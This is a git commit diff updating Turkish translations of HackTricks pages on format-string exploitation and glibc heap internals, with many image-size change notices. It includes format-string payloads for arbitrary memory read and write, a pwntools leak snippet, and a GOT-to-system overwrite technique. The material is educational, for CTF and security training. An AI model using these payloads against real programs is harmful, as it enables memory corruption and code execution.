Translated ['binary-exploitation/format-strings/README.md', 'binary-expl

This commit is contained in:
Translator 2024-11-12 12:22:29 +00:00
parent 7a9f86aa1d
commit 5a931b2209
98 changed files with 777 additions and 752 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 142 KiB

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 4.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.1 KiB

After

Width:  |  Height:  |  Size: 131 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 131 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 708 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 708 KiB

After

Width:  |  Height:  |  Size: 287 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 287 KiB

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

After

Width:  |  Height:  |  Size: 216 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 216 KiB

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 116 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 116 KiB

After

Width:  |  Height:  |  Size: 418 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 418 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 62 KiB

After

Width:  |  Height:  |  Size: 59 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 154 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 271 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 271 KiB

After

Width:  |  Height:  |  Size: 105 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 105 KiB

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

After

Width:  |  Height:  |  Size: 461 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 461 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.8 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.5 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 112 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 112 KiB

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 22 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.2 MiB

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

After

Width:  |  Height:  |  Size: 262 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 262 KiB

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 56 KiB

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 407 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 407 KiB

After

Width:  |  Height:  |  Size: 284 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 284 KiB

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 40 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 138 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 96 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 175 KiB

After

Width:  |  Height:  |  Size: 453 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 453 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

After

Width:  |  Height:  |  Size: 160 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 160 KiB

After

Width:  |  Height:  |  Size: 126 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 210 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 210 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.1 KiB

After

Width:  |  Height:  |  Size: 86 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1 MiB

After

Width:  |  Height:  |  Size: 594 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 594 KiB

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 26 KiB

After

Width:  |  Height:  |  Size: 3.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.5 KiB

After

Width:  |  Height:  |  Size: 551 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 30 KiB

After

Width:  |  Height:  |  Size: 82 KiB

View file

@ -1,34 +1,33 @@
# Format Strings
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Temel Bilgiler
C'de **`printf`** bazı metinleri **yazdırmak** için kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **formatlayıcılarla birlikte ham metin**'dir. Beklenen **sonraki parametreler**, ham metindeki **formatlayıcıları** **değiştirmek için** **değerler**'dir.
C'de **`printf`** bir dizeyi **yazdırmak için** kullanılabilen bir işlevdir. Bu işlevin beklediği **ilk parametre**, **formatlayıcılarla birlikte ham metin**'dir. Beklenen **sonraki parametreler**, ham metindeki **formatlayıcıları** **değiştirmek için** **değerler**'dir.
Diğer savunmasız fonksiyonlar **`sprintf()`** ve **`fprintf()`**'dir.
Diğer savunmasız işlevler **`sprintf()`** ve **`fprintf()`**'dir.
Zafiyet, bir **saldırgan metni bu fonksiyona ilk argüman olarak kullanıldığında** ortaya çıkar. Saldırgan, **printf format** dizesinin yeteneklerini kötüye kullanarak **herhangi bir adreste (okunabilir/yazılabilir)** **herhangi bir veriyi okumak ve yazmak için** özel bir girdi oluşturabilecektir. Bu şekilde **rastgele kod çalıştırma** yeteneğine sahip olacaktır.
Zafiyet, **saldırgan metni bu işlevin ilk argümanı olarak kullanıldığında** ortaya çıkar. Saldırgan, **printf format** dizesinin yeteneklerini kötüye kullanarak **herhangi bir adreste (okunabilir/yazılabilir)** **herhangi bir veriyi okumak ve yazmak için** özel bir girdi oluşturabilecektir. Bu şekilde **rastgele kod çalıştırma** yeteneğine sahip olacaktır.
#### Formatlayıcılar:
```bash
@ -73,7 +72,7 @@ return 0;
```
### **Pointer'lara Erişim**
Format **`%<n>$x`**, burada `n` bir sayı, printf'e yığın (stack) içinden n parametresini seçmesini belirtir. Yani, printf kullanarak yığından 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz:
Format **`%<n>$x`**, burada `n` bir sayı, printf'e yığın (stack) içinden n parametresini seçmesini belirtir. Yani printf kullanarak yığından 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz:
```c
printf("%x %x %x %x")
```
@ -88,12 +87,12 @@ ve doğrudan dördüncüyü okuyun.
Saldırganın `printf` **parametresini kontrol ettiğini unutmayın, bu temelde** onun girdiğinin `printf` çağrıldığında yığında olacağı anlamına gelir, bu da belirli bellek adreslerini yığında yazabileceği anlamına gelir.
{% hint style="danger" %}
Bu girişi kontrol eden bir saldırgan, **yığında keyfi adres ekleyebilecek ve `printf`'in bunlara erişmesini sağlayabilecektir**. Bir sonraki bölümde bu davranışın nasıl kullanılacağııklanacaktır.
Bu girişi kontrol eden bir saldırgan, **yığında rastgele adres ekleyebilecek ve `printf`'in bunlara erişmesini sağlayabilecektir**. Bir sonraki bölümde bu davranışın nasıl kullanılacağııklanacaktır.
{% endhint %}
## **Keyfi Okuma**
## **Rastgele Okuma**
Formatlayıcı **`%n$s`** kullanarak **`printf`**'in **n pozisyonunda** bulunan **adres**i alması ve **bunu bir dizeymiş gibi yazdırması** (0x00 bulunana kadar yazdırma) mümkündür. Yani, eğer ikili dosyanın temel adresi **`0x8048000`** ise ve kullanıcı girdisinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını yazdırmak mümkündür:
Biçimlendiriciyi **`%n$s`** kullanarak **`printf`**'in **n pozisyonunda** bulunan **adres**i almasını ve **bunu bir dizeymiş gibi yazdırmasını** sağlamak mümkündür (0x00 bulunana kadar yazdır). Yani, ikili dosyanın temel adresi **`0x8048000`** ise ve kullanıcı girdisinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını yazdırmak mümkündür:
```python
from pwn import *
@ -112,7 +111,7 @@ Girişin başına 0x8048000 adresini koyamayacağınızı unutmayın çünkü di
### Ofseti Bul
Girişinizin ofsetini bulmak için 4 veya 8 bayt (`0x41414141`) gönderebilir ve ardından **`%1$x`** ile değeri **artırarak** `A'ları` alana kadar devam edebilirsiniz.
Girişinizin ofsetini bulmak için 4 veya 8 bayt (`0x41414141`) gönderebilir ve ardından **`%1$x`** ile değeri **artırarak** `A'leri` alana kadar devam edebilirsiniz.
<details>
@ -151,21 +150,21 @@ p.close()
Rastgele okumalar şunlar için faydalı olabilir:
* **Bellekten** **ikili** **dosyayı** **dökme**
* **Hassas** **bilgilerin** saklandığı **belleğin belirli kısımlarına** **erişim** sağlama (örneğin, canary'ler, şifreleme anahtarları veya bu [**CTF zorluğu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) gibi özel şifreler)
* **Bellekten** **ikili** **veriyi** **dökme**
* **Hassas** **bilgilerin** saklandığı **belleğin belirli kısımlarına** erişim sağlama (örneğin, bu [**CTF zorluğu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) gibi canary'ler, şifreleme anahtarları veya özel şifreler)
## **Rastgele Yazma**
Formatlayıcı **`%<num>$n`** **yazılan baytların sayısını** **belirtilen adrese** **yazar**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%<num>$n`**'nin rastgele bir sayıyı rastgele bir adrese yazmasını sağlayabilir.
Formatlayıcı **`%<num>$n`** **yazılan bayt sayısını** **belirtilen adrese** **yazar**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%<num>$n`**'nin rastgele bir sayıyı rastgele bir adrese yazmasını sağlayabilir.
Neyse ki, 9999 sayısını yazmak için girdiye 9999 "A" eklemek gerekmez, bu nedenle **`%.<num-write>%<num>$n`** formatlayıcısını kullanarak **`<num-write>`** sayısını **`num` pozisyonu tarafından gösterilen adrese** yazmak mümkündür.
Neyse ki, 9999 sayısını yazmak için girdiye 9999 "A" eklemek gerekmez, bunun yerine **`%.<num-write>%<num>$n`** formatlayıcısını kullanarak **`<num-write>`** sayısını **`num` konumunu gösteren adrese** yazmak mümkündür.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Ancak, genellikle `0x08049724` gibi bir adres yazmak için (bu, bir seferde yazılması gereken BÜYÜK bir sayıdır), **`$hn`** kullanılır. Bu, **sadece 2 Bayt** yazmaya olanak tanır. Bu nedenle, bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez de en düşük olanlar için.
Ancak, genellikle `0x08049724` gibi bir adres yazmak için (bu, bir seferde yazılması gereken BÜYÜK bir sayıdır), **`$hn`** kullanılır, **`$n`** yerine. Bu, **sadece 2 Bayt** yazmaya olanak tanır. Bu nedenle, bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez de en düşük 2B'si için.
Bu nedenle, bu zafiyet **herhangi bir adrese (keyfi yazma)** **yazma** olanağı sağlar.
Bu nedenle, bu zafiyet **herhangi bir adrese (keyfi yazma)** **yazmaya** olanak tanır.
Bu örnekte, hedef, daha sonra çağrılacak olan **GOT** tablosundaki bir **fonksiyonun** **adresini** **üst üste yazmak** olacaktır. Bu, diğer keyfi yazma ile exec tekniklerini kötüye kullanabilir:
@ -174,7 +173,7 @@ Bu örnekte, hedef, daha sonra çağrılacak olan **GOT** tablosundaki bir **fon
{% endcontent-ref %}
Bir **fonksiyonu** **üst üste yazacağız** ki bu **fonksiyon**, **kullanıcıdan** **argümanlarını** **alır** ve **`system`** **fonksiyonuna** **işaret eder**.\
Belirtildiği gibi, adresi yazmak için genellikle 2 adım gereklidir: Önce adresin 2 Bayt'ını yazarsınız ve sonra diğer 2'sini. Bunu yapmak için **`$hn`** kullanılır.
Belirtildiği gibi, adresi yazmak için genellikle 2 adım gereklidir: Önce adresin 2 Bayt'ını yazarsınız ve sonra diğer 2 Bayt'ı. Bunu yapmak için **`$hn`** kullanılır.
* **HOB**, adresin 2 yüksek baytına çağrılır
* **LOB**, adresin 2 düşük baytına çağrılır
@ -232,27 +231,25 @@ Bir format string zafiyetinin yazma eylemlerini kötüye kullanarak **stack adre
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 bit, no relro, no canary, nx, no pie, format string kullanarak stack'ten flag'i sızdırmak için temel kullanım (çalışma akışını değiştirmeye gerek yok)
* 32 bit, no relro, no canary, nx, no pie, format string kullanarak stack'ten flag'i sızdırmak için temel kullanım (işlem akışını değiştirmeye gerek yok)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, no canary, nx, no pie, `fflush` adresini win fonksiyonu ile (ret2win) üzerine yazmak için format string
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bit, relro, no canary, nx, no pie, `.fini_array` içinde main'e bir adres yazmak için format string (böylece akış bir kez daha döner) ve `strlen`'a işaret eden GOT tablosundaki `system` adresini yazmak. Akış main'e döndüğünde, kullanıcı girişi ile `strlen` çalıştırılır ve `system`'a işaret eder, geçilen komutları çalıştırır.
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
**Hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i destekleyin
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
* **HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek hacking ipuçlarını paylaşın.
{% endhint %}

View file

@ -25,32 +25,32 @@ Talep edilen **bellek bir eşiği geçerse**, **`mmap`** talep edilen belleği h
## Arenalar
**Çok iş parçacıklı** uygulamalarda, heap yöneticisi çöküşe yol açabilecek **yarış koşullarını** önlemelidir. Başlangıçta, yalnızca bir iş parçacığının heap'e erişebilmesini sağlamak için **küresel bir mutex** kullanılıyordu, ancak bu mutex kaynaklı darboğaz nedeniyle **performans sorunlarına** yol açtı.
**Çok iş parçacıklı** uygulamalarda, heap yöneticisi çöküşe yol açabilecek **yarış koşullarını** önlemelidir. Başlangıçta, bu, yalnızca bir iş parçacığının aynı anda heap'e erişebilmesini sağlamak için **küresel bir mutex** kullanılarak yapılmıştır, ancak bu, mutex kaynaklı darboğaz nedeniyle **performans sorunlarına** yol açmıştır.
Bunu çözmek için, ptmalloc2 heap tahsis edici "arenalar" tanıttı; burada **her arena**, **kendi** veri **yapıları** ve **mutex** ile **ayrı bir heap** olarak işlev görür ve farklı arenaları kullandıkları sürece birden fazla iş parçacığının heap işlemleri gerçekleştirmesine olanak tanır.
Varsayılan "ana" arena, tek iş parçacıklı uygulamalar için heap işlemlerini yönetir. **Yeni iş parçacıkları** eklendiğinde, heap yöneticisi bunlara **ikincil arenalar** atar ve rekabeti azaltır. İlk olarak, her yeni iş parçacığını kullanılmayan bir arenaya bağlamaya çalışır, gerekirse yeni arenalar oluşturur; bu, 32-bit sistemler için CPU çekirdeklerinin sayısının 2 katı ve 64-bit sistemler için 8 katı ile sınırlıdır. Sınır aşıldığında, **iş parçacıkları arenaları paylaşmak zorundadır**, bu da potansiyel rekabete yol açar.
Ana arenanın `brk` sistem çağrısını kullanarak genişlemesinin aksine, ikincil arenalar `mmap` ve `mprotect` kullanarak "alt heap'ler" oluşturur ve çok iş parçacıklı işlemler için bellek yönetiminde esneklik sağlar.
Ana arenanın `brk` sistem çağrısını kullanarak genişlemesi gibi, ikincil arenalar `mmap` ve `mprotect` kullanarak "alt heap'ler" oluşturur ve çok iş parçacıklı işlemler için bellek yönetiminde esneklik sağlar.
### Alt Heap'ler
Alt heap'ler, çok iş parçacıklı uygulamalarda ikincil arenalar için bellek rezervleri olarak hizmet eder ve ana heap'ten ayrı olarak kendi heap bölgelerini büyütmelerine ve yönetmelerine olanak tanır. İşte alt heap'lerin başlangıç heap'inden nasıl farklılaştığı ve nasıl çalıştığı:
1. **Başlangıç Heap'i vs. Alt Heap'ler**:
* Başlangıç heap'i, programın ikili dosyasının bellekte hemen arkasında yer alır ve `sbrk` sistem çağrısını kullanarak genişler.
* Başlangıç heap'i, programın ikili dosyasının bellekte hemen ardından yer alır ve `sbrk` sistem çağrısını kullanarak genişler.
* İkincil arenalar tarafından kullanılan alt heap'ler, belirli bir bellek bölgesini haritalayan `mmap` aracılığıyla oluşturulur.
2. **`mmap` ile Bellek Rezervasyonu**:
* Heap yöneticisi bir alt heap oluşturduğunda, `mmap` aracılığıyla büyük bir bellek bloğu rezerve eder. Bu rezervasyon hemen bellek tahsis etmez; yalnızca diğer sistem süreçlerinin veya tahsislerin kullanmaması gereken bir bölgeyi belirler.
* Varsayılan olarak, bir alt heap için rezerve edilen boyut 32-bit süreçler için 1 MB ve 64-bit süreçler için 64 MB'dır.
3. **`mprotect` ile Aşamalı Genişleme**:
* Rezerve edilen bellek bölgesi başlangıçta `PROT_NONE` olarak işaretlenir; bu, çekirdeğin bu alana fiziksel bellek tahsis etmesi gerekmediğini gösterir.
* Rezerve edilen bellek bölgesi başlangıçta `PROT_NONE` olarak işaretlenir; bu, çekirdeğin henüz bu alana fiziksel bellek tahsis etmesi gerekmediğini gösterir.
* Alt heap'i "büyütmek" için, heap yöneticisi `mprotect` kullanarak sayfa izinlerini `PROT_NONE`'dan `PROT_READ | PROT_WRITE`'a değiştirir ve bu, çekirdeğin daha önce rezerve edilen adreslere fiziksel bellek tahsis etmesini sağlar. Bu adım adım yaklaşım, alt heap'in gerektiği gibi genişlemesine olanak tanır.
* Tüm alt heap tükendiğinde, heap yöneticisi tahsise devam etmek için yeni bir alt heap oluşturur.
### heap\_info <a href="#heap_info" id="heap_info"></a>
Bu yapı, heap'in ilgili bilgilerini tahsis eder. Ayrıca, daha fazla tahsisten sonra heap belleği kesintili olmayabilir; bu yapı aynı zamanda bu bilgiyi de saklayacaktır.
Bu yapı, heap'in ilgili bilgilerini tahsis eder. Ayrıca, daha fazla tahsisten sonra heap belleği kesintili olmayabilir, bu yapı aynı zamanda bu bilgiyi de saklayacaktır.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
@ -70,13 +70,13 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
```
### malloc\_state
**Her heap** (ana arena veya diğer thread arenaları) bir **`malloc_state` yapısına sahiptir.**\
**Her yığın** (ana arena veya diğer iş parçacığı arenaları) bir **`malloc_state` yapısına sahiptir.**\
**Ana arena `malloc_state`** yapısının **libc'de global bir değişken olduğunu** belirtmek önemlidir (bu nedenle libc bellek alanında yer alır).\
**Thread'lerin heap'lerinin `malloc_state`** yapıları ise **kendi thread "heap"lerinin içinde** yer alır.
**İş parçacıklarının yığınlarındaki `malloc_state`** yapıları ise **kendi iş parçacığı "yığını" içinde** yer alır.
Bu yapıdan bazı ilginç noktalar vardır (aşağıdaki C koduna bakın):
* `__libc_lock_define (, mutex);` Bu yapıdan heap'e erişimin aynı anda 1 thread tarafından yapılmasını sağlamak için vardır.
* `__libc_lock_define (, mutex);` Bu yapıdan yığına yalnızca 1 iş parçacığı tarafından erişildiğinden emin olmak için vardır.
* Bayraklar:
* ```c
#define NONCONTIGUOUS_BIT (2U)
@ -86,11 +86,11 @@ Bu yapıdan bazı ilginç noktalar vardır (aşağıdaki C koduna bakın):
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
* `mchunkptr bins[NBINS * 2 - 2];` **küçük, büyük ve sıralanmamış** **bins**'lerin **ilk ve son chunk'larına** **işaretçiler** içerir (0 indeksinin kullanılmadığı için -2).
* Bu nedenle, bu bins'lerin **ilk chunk'ı** bu yapıya **geriye işaret eden bir işaretçi** ve bu bins'lerin **son chunk'ı** bu yapıya **ileri işaretçi** bulunduracaktır. Bu, eğer **ana arenada bu adresleri sızdırabilirseniz** yapıya bir işaretçi elde edeceğiniz anlamına gelir.
* `struct malloc_state *next;` ve `struct malloc_state *next_free;` yapıları arena'ların bağlı listeleridir.
* `top` chunk, temelde **tüm heap hatırlatma alanı** olan son "chunk"tır. `top` chunk "boş" olduğunda, heap tamamen kullanılmıştır ve daha fazla alan talep etmesi gerekir.
* `last reminder` chunk, tam boyutlu bir chunk mevcut olmadığında ve bu nedenle daha büyük bir chunk bölündüğünde ortaya çıkar; burada kalan kısmın işaretçisi yer alır.
* `mchunkptr bins[NBINS * 2 - 2];` **küçük, büyük ve sıralanmamış** **bins**'lerin **ilk ve son parçalarına** **işaretçiler** içerir (0 indeksinin kullanılmadığı için -2).
* Bu nedenle, bu **bins**'lerin **ilk parçası** bu yapıya **geri işaretçi** ve bu **bins**'lerin **son parçası** bu yapıya **ileri işaretçi** içerecektir. Bu, eğer **ana arenada bu adresleri sızdırabilirseniz** yapıya bir işaretçi elde edeceğiniz anlamına gelir.
* `struct malloc_state *next;` ve `struct malloc_state *next_free;` yapıları arena bağlantılı listeleridir.
* `top` parçası son "parça"dır, bu temelde **tüm yığın hatırlatma alanıdır**. Üst parça "boş" olduğunda, yığın tamamen kullanılmıştır ve daha fazla alan talep etmesi gerekir.
* `last reminder` parçası, tam boyutlu bir parçanın mevcut olmadığı ve bu nedenle daha büyük bir parçanın bölündüğü durumlarda gelir, burada kalan kısmın işaretçisi yer alır.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -258,7 +258,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
return request2size (req);
}
```
